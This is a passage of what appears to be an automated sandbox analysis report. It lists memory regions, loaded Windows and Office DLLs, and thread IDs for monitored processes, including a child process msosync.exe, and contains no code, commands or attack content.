start_va = 0x11f40000 end_va = 0x1203ffff entry_point = 0x0 region_type = private name = "private_0x0000000011f40000" filename = "" Region: id = 595 start_va = 0x7fefca50000 end_va = 0x7fefcaaafff entry_point = 0x7fefca50000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 596 start_va = 0x12190000 end_va = 0x1220ffff entry_point = 0x0 region_type = private name = "private_0x0000000012190000" filename = "" Region: id = 597 start_va = 0x7fefadf0000 end_va = 0x7fefadfafff entry_point = 0x7fefadf0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 598 start_va = 0x7fefae00000 end_va = 0x7fefae26fff entry_point = 0x7fefae00000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 599 start_va = 0x7fef4b60000 end_va = 0x7fef4b7bfff entry_point = 0x7fef4b60000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 600 start_va = 0x7fef4b80000 end_va = 0x7fef4be1fff entry_point = 0x7fef4b80000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 601 start_va = 0x7fefb300000 end_va = 0x7fefb310fff entry_point = 0x7fefb300000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 633 start_va = 0x12040000 end_va = 0x1213ffff entry_point = 0x0 region_type = private name = "private_0x0000000012040000" filename = "" Region: id = 634 start_va = 0x7fef7a50000 end_va = 0x7fef7a58fff entry_point = 0x7fef7a50000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 635 start_va = 0x7fffff5a000 end_va = 0x7fffff5bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff5a000" filename = "" Region: id = 667 start_va = 0x60d0000 end_va = 0x60dffff entry_point = 0x0 region_type = private name = "private_0x00000000060d0000" filename = "" Region: id = 668 start_va = 0x7fef9570000 end_va = 0x7fef9577fff entry_point = 0x7fef9570000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 669 start_va = 0xda50000 end_va = 0xdb4ffff entry_point = 0x0 region_type = private name = "private_0x000000000da50000" filename = "" Region: id = 670 start_va = 0x7fefa260000 end_va = 0x7fefa2c3fff entry_point = 0x7fefa260000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 671 start_va = 0x7fefa2d0000 end_va = 0x7fefa340fff entry_point = 0x7fefa2d0000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 672 start_va = 0x7fffff58000 end_va = 0x7fffff59fff entry_point = 0x0 region_type = private name = "private_0x000007fffff58000" filename = "" Region: id = 673 start_va = 0x7fefac60000 end_va = 0x7fefac70fff entry_point = 0x7fefac60000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 674 start_va = 0x7fefac20000 end_va = 0x7fefac34fff entry_point = 0x7fefac20000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 675 start_va = 0x7fefac00000 end_va = 0x7fefac18fff entry_point = 0x7fefac00000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 676 start_va = 0x7fefcbd0000 end_va = 0x7fefcc24fff entry_point = 0x7fefcbd0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 677 start_va = 0x7fefc0e0000 end_va = 0x7fefc0eafff entry_point = 0x7fefc0e0000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 678 start_va = 0x7fefc5d0000 end_va = 0x7fefc5d6fff entry_point = 0x7fefc5d0000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 679 start_va = 0x7fefcbc0000 end_va = 0x7fefcbc6fff entry_point = 0x7fefcbc0000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 680 start_va = 0x7fefac40000 end_va = 0x7fefac57fff entry_point = 0x7fefac40000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 681 start_va = 0x7fefc830000 end_va = 0x7fefc839fff entry_point = 0x7fefc830000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 682 start_va = 0x7fefaca0000 end_va = 0x7fefacf2fff entry_point = 0x7fefaca0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1005 start_va = 0x60e0000 end_va = 0x60effff entry_point = 0x0 region_type = private name = "private_0x00000000060e0000" filename = "" Region: id = 1006 start_va = 0x6530000 end_va = 0x6540fff entry_point = 0x6530000 region_type = mapped_file name = "c_20127.nls" filename = "\\Windows\\System32\\C_20127.NLS" (normalized: "c:\\windows\\system32\\c_20127.nls") Region: id = 1007 start_va = 0xa2a0000 end_va = 0xa31ffff entry_point = 0x0 region_type = private name = "private_0x000000000a2a0000" filename = "" Region: id = 1008 start_va = 0x12300000 end_va = 0x123fffff entry_point = 0x0 region_type = private name = "private_0x0000000012300000" filename = "" Region: id = 1009 start_va = 0x12510000 end_va = 0x1260ffff entry_point = 0x0 region_type = private name = "private_0x0000000012510000" filename = "" Region: id = 1010 start_va = 0x12680000 end_va = 0x1277ffff entry_point = 0x0 region_type = private name = "private_0x0000000012680000" filename = "" Region: id = 1011 start_va = 0x7fefd240000 end_va = 0x7fefd2d0fff entry_point = 0x7fefd240000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1012 start_va = 0x7fffff52000 end_va = 0x7fffff53fff entry_point = 0x0 region_type = private name = "private_0x000007fffff52000" filename = "" Region: id = 1013 start_va = 0x7fffff54000 end_va = 0x7fffff55fff entry_point = 0x0 region_type = private name = "private_0x000007fffff54000" filename = "" Region: id = 1014 start_va = 0x7fffff56000 end_va = 0x7fffff57fff entry_point = 0x0 region_type = private name = "private_0x000007fffff56000" filename = "" Region: id = 3593 start_va = 0x60c0000 end_va = 0x60c0fff entry_point = 0x0 region_type = private name = "private_0x00000000060c0000" filename = "" Region: id = 3594 start_va = 0x6100000 end_va = 0x6101fff entry_point = 0x0 region_type = private name = "private_0x0000000006100000" filename = "" Region: id = 3595 start_va = 0x6120000 end_va = 0x6121fff entry_point = 0x0 region_type = private name = "private_0x0000000006120000" filename = "" Region: id = 3596 start_va = 0x7cf0000 end_va = 0x7cf1fff entry_point = 0x0 region_type = private name = "private_0x0000000007cf0000" filename = "" Region: id = 3597 start_va = 0x7d00000 end_va = 0x7d00fff entry_point = 0x0 region_type = private name = "private_0x0000000007d00000" filename = "" Region: id = 3598 start_va = 0x7d10000 end_va = 0x7e11fff entry_point = 0x0 region_type = private name = "private_0x0000000007d10000" filename = "" Region: id = 3599 start_va = 0x7f00000 end_va = 0x7f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000007f00000" filename = "" Region: id = 3600 start_va = 0x8100000 end_va = 0x817ffff entry_point = 0x0 region_type = private name = "private_0x0000000008100000" filename = "" Region: id = 3601 start_va = 0x12780000 end_va = 0x1374ffff entry_point = 0x0 region_type = private name = "private_0x0000000012780000" filename = "" Region: id = 3602 start_va = 0x13750000 end_va = 0x14aa4fff entry_point = 0x13750000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 3603 start_va = 0x7fef6030000 end_va = 0x7fef614efff entry_point = 0x7fef6030000 region_type = mapped_file name = "webservices.dll" filename = "\\Windows\\System32\\webservices.dll" (normalized: "c:\\windows\\system32\\webservices.dll") Region: id = 3604 start_va = 0x7fefc9c0000 end_va = 0x7fefca16fff entry_point = 0x7fefc9c0000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 3605 start_va = 0x6080000 end_va = 0x6081fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006080000" filename = "" Region: id = 3606 start_va = 0x7fefcdd0000 end_va = 0x7fefce1dfff entry_point = 0x7fefcdd0000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 3607 start_va = 0x7f90000 end_va = 0x808ffff entry_point = 0x0 region_type = private name = "private_0x0000000007f90000" filename = "" Region: id = 3608 start_va = 0x7fefc6e0000 end_va = 0x7fefc6fdfff entry_point = 0x7fefc6e0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3609 start_va = 0x7fffff52000 end_va = 0x7fffff53fff entry_point = 0x0 region_type = private name = "private_0x000007fffff52000" filename = "" Region: id = 3610 start_va = 0x7fefc6c0000 end_va = 0x7fefc6dafff entry_point = 0x7fefc6c0000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Thread: id = 1 os_tid = 0x94c Thread: id = 2 os_tid = 0x938 Thread: id = 3 os_tid = 0x950 Thread: id = 4 os_tid = 0x934 Thread: id = 5 os_tid = 0x738 Thread: id = 6 os_tid = 0x91c Thread: id = 7 os_tid = 0x368 Thread: id = 8 os_tid = 0x71c Thread: id = 9 os_tid = 0x728 Thread: id = 10 os_tid = 0x708 Thread: id = 11 os_tid = 0x70c Thread: id = 12 os_tid = 0x7a8 Thread: id = 13 os_tid = 0x770 Thread: id = 14 os_tid = 0x7b4 Thread: id = 15 os_tid = 0x7b0 Thread: id = 16 os_tid = 0x74c Thread: id = 17 os_tid = 0x754 Thread: id = 18 os_tid = 0x758 Thread: id = 19 os_tid = 0x75c Thread: id = 20 os_tid = 0x760 Thread: id = 21 os_tid = 0x764 Thread: id = 22 os_tid = 0x76c Thread: id = 23 os_tid = 0x724 Thread: id = 24 os_tid = 0x700 Thread: id = 25 os_tid = 0x720 Thread: id = 26 os_tid = 0x838 Thread: id = 27 os_tid = 0x834 Thread: id = 28 os_tid = 0x928 Thread: id = 29 os_tid = 0x92c Thread: id = 30 os_tid = 0x930 Thread: id = 31 os_tid = 0x8fc Thread: id = 32 os_tid = 0x8f8 Thread: id = 33 os_tid = 0x924 Thread: id = 34 os_tid = 0x908 Thread: id = 35 os_tid = 0x97c Thread: id = 36 os_tid = 0x7a4 Thread: id = 37 os_tid = 0x7d8 Thread: id = 38 os_tid = 0x314 Thread: id = 39 os_tid = 0x374 Thread: id = 40 os_tid = 0x15c Thread: id = 41 os_tid = 0x6e8 Thread: id = 44 os_tid = 0x9a0 Thread: id = 45 os_tid = 0x9a8 Thread: id = 69 os_tid = 0x0 Thread: id = 72 os_tid = 0xaf4 Thread: id = 74 os_tid = 0xb48 Thread: id = 75 os_tid = 0x5c8 Thread: id = 217 os_tid = 0x908 Process: id = "2" image_name = "msosync.exe" filename = "c:\\program files\\microsoft office\\office16\\msosync.exe" page_root = "0x4154b000" os_pid = "0x998" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x82c" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Office16\\MsoSync.exe\"" cur_dir = "C:\\Users\\qj4SUKboE\\Desktop\\" os_username = "EXB9WSP\\qj4SUKboE" os_groups = "EXB9WSP\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eaf1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 563 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 564 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 565 start_va = 0x1a0000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 566 start_va = 0x773f0000 end_va = 0x77598fff entry_point = 0x773f0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 567 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 568 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 569 start_va = 0x13f8a0000 end_va = 0x13f918fff entry_point = 0x13f8a0000 region_type = mapped_file name = "msosync.exe" filename = "\\Program Files\\Microsoft Office\\Office16\\MSOSYNC.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\msosync.exe") Region: id = 570 start_va = 0x7feff710000 end_va = 0x7feff710fff entry_point = 0x7feff710000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 571 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 572 start_va = 0x7fffffd8000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 573 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 602 start_va = 0x390000 end_va = 0x48ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 603 start_va = 0x772d0000 end_va = 0x773eefff entry_point = 0x772d0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 604 start_va = 0x7fefd430000 end_va = 0x7fefd49afff entry_point = 0x7fefd430000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 605 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 606 start_va = 0x40000 end_va = 0xa6fff entry_point = 0x40000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 607 start_va = 0x771d0000 end_va = 0x772c9fff entry_point = 0x771d0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 608 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 609 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 610 start_va = 0x7fefa9d0000 end_va = 0x7fefa9d4fff entry_point = 0x7fefa9d0000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 611 start_va = 0x7fefabe0000 end_va = 0x7fefabe2fff entry_point = 0x7fefabe0000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 612 start_va = 0x7fefabf0000 end_va = 0x7fefabf3fff entry_point = 0x7fefabf0000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 613 start_va = 0x7fefb320000 end_va = 0x7fefb323fff entry_point = 0x7fefb320000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 614 start_va = 0x7fefb330000 end_va = 0x7fefb332fff entry_point = 0x7fefb330000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 615 start_va = 0x7fefb340000 end_va = 0x7fefb343fff entry_point = 0x7fefb340000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 616 start_va = 0x7fefb350000 end_va = 0x7fefb441fff entry_point = 0x7fefb350000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 617 start_va = 0x7fefb4c0000 end_va = 0x7fefb4c2fff entry_point = 0x7fefb4c0000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll") Region: id = 618 start_va = 0x7fefb5f0000 end_va = 0x7fefb5f2fff entry_point = 0x7fefb5f0000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 619 start_va = 0x7fefbbd0000 end_va = 0x7fefbbd2fff entry_point = 0x7fefbbd0000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 620 start_va = 0x7fefbbe0000 end_va = 0x7fefbbe2fff entry_point = 0x7fefbbe0000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 621 start_va = 0x7fefbbf0000 end_va = 0x7fefbbf2fff entry_point = 0x7fefbbf0000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll") Region: id = 622 start_va = 0x7fefbe00000 end_va = 0x7fefbe02fff entry_point = 0x7fefbe00000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 623 start_va = 0x7fefbe10000 end_va = 0x7fefbe13fff entry_point = 0x7fefbe10000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 624 start_va = 0x7fefbe20000 end_va = 0x7fefbe35fff entry_point = 0x7fefbe20000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 625 start_va = 0x7fefd710000 end_va = 0x7fefd912fff entry_point = 0x7fefd710000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 626 start_va = 0x7fefd970000 end_va = 0x7fefd98efff entry_point = 0x7fefd970000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 627 start_va = 0x7fefdd90000 end_va = 0x7fefdd9dfff entry_point = 0x7fefdd90000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 628 start_va = 0x7fefde80000 end_va = 0x7fefdf1efff entry_point = 0x7fefde80000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 629 start_va = 0x7fefe060000 end_va = 0x7fefe0c6fff entry_point = 0x7fefe060000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 630 start_va = 0x7fefe0d0000 end_va = 0x7fefe1fcfff entry_point = 0x7fefe0d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 631 start_va = 0x7fefe2a0000 end_va = 0x7fefe37afff entry_point = 0x7fefe2a0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 632 start_va = 0x7fefe4c0000 end_va = 0x7fefe588fff entry_point = 0x7fefe4c0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 713 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 714 start_va = 0xb0000 end_va = 0xb0fff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 715 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 716 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 717 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 718 start_va = 0xf0000 end_va = 0xfffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 719 start_va = 0x100000 end_va = 0x101fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 720 start_va = 0x110000 end_va = 0x111fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 721 start_va = 0x120000 end_va = 0x121fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 722 start_va = 0x180000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 723 start_va = 0x2a0000 end_va = 0x37efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 724 start_va = 0x490000 end_va = 0x58ffff entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 725 start_va = 0x590000 end_va = 0x717fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Region: id = 726 start_va = 0x720000 end_va = 0x8a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000720000" filename = "" Region: id = 727 start_va = 0x8b0000 end_va = 0x1caffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008b0000" filename = "" Region: id = 728 start_va = 0x1d60000 end_va = 0x1ddffff entry_point = 0x0 region_type = private name = "private_0x0000000001d60000" filename = "" Region: id = 729 start_va = 0x7fef0250000 end_va = 0x7fef0a1bfff entry_point = 0x7fef0250000 region_type = mapped_file name = "mso99lwin32client.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\Mso99Lwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\mso99lwin32client.dll") Region: id = 730 start_va = 0x7fef0a20000 end_va = 0x7fef130afff entry_point = 0x7fef0a20000 region_type = mapped_file name = "mso40uiwin32client.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\Mso40UIwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\mso40uiwin32client.dll") Region: id = 731 start_va = 0x7fef1310000 end_va = 0x7fef1787fff entry_point = 0x7fef1310000 region_type = mapped_file name = "mso30win32client.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\Mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\mso30win32client.dll") Region: id = 732 start_va = 0x7fef2b90000 end_va = 0x7fef2e93fff entry_point = 0x7fef2b90000 region_type = mapped_file name = "mso20win32client.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\Mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\mso20win32client.dll") Region: id = 733 start_va = 0x7fef7ac0000 end_va = 0x7fef7ae6fff entry_point = 0x7fef7ac0000 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 734 start_va = 0x7fef8930000 end_va = 0x7fef89cbfff entry_point = 0x7fef8930000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll") Region: id = 735 start_va = 0x7fef8eb0000 end_va = 0x7fef90c4fff entry_point = 0x7fef8eb0000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 736 start_va = 0x7fef90e0000 end_va = 0x7fef90e6fff entry_point = 0x7fef90e0000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll") Region: id = 737 start_va = 0x7fefa980000 end_va = 0x7fefa982fff entry_point = 0x7fefa980000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 738 start_va = 0x7fefa990000 end_va = 0x7fefa992fff entry_point = 0x7fefa990000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 739 start_va = 0x7fefa9a0000 end_va = 0x7fefa9a2fff entry_point = 0x7fefa9a0000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 740 start_va = 0x7fefa9b0000 end_va = 0x7fefa9b2fff entry_point = 0x7fefa9b0000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 741 start_va = 0x7fefa9c0000 end_va = 0x7fefa9c4fff entry_point = 0x7fefa9c0000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: 